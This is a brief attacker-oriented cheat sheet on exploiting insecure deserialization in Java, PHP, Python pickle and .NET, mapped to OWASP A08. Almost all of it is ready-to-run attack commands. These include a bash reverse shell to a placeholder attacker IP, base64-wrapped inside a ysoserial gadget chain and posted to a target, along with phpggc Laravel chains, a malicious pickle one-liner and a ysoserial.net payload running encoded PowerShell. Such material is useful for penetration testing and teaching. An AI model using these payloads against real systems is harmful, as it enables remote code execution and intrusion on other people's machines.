When an app rebuilds an object from attacker-controlled data, a crafted object can run code as it is deserialized. The classic tells: Java (a base64 blob starting rO0AB), PHP unserialize() (an O: object string), .NET, and Python pickle. Gadget-chain tools build the payload for you.
Java: encode your reverse shell, then embed it in a gadget chain
echo -n 'bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1' | base64
Runtime.exec needs the echo|base64|bash wrapper (it does not invoke a shell):
java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,<BASE64>}|{base64,-d}|{bash,-i}' > payload.bincurl -X POST http://<TARGET-IP>/api --data-binary @payload.bin
PHP object injection: input like O:4:"User":1:{...} reaches unserialize()
php -r 'class User{public $cmd="id";} echo serialize(new User());'PHPGGC builds ready chains for common frameworks (Laravel, Symfony, WordPress)
phpggc Laravel/RCE1 system id
Python pickle: any pickle.loads on your input is RCE
python3 -c 'import pickle,os,base64;print(base64.b64encode(pickle.dumps(type("x",(object,),{"__reduce__":lambda self:(os.system,("id",))})())).decode())'.NET: ysoserial.net for ViewState / BinaryFormatter sinks
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -e <B64>"
Spot the format (rO0AB / O:.. / pickle) → build the chain with ysoserial or phpggc → RCE at the sink. Maps to OWASP A08 Software and Data Integrity Failures.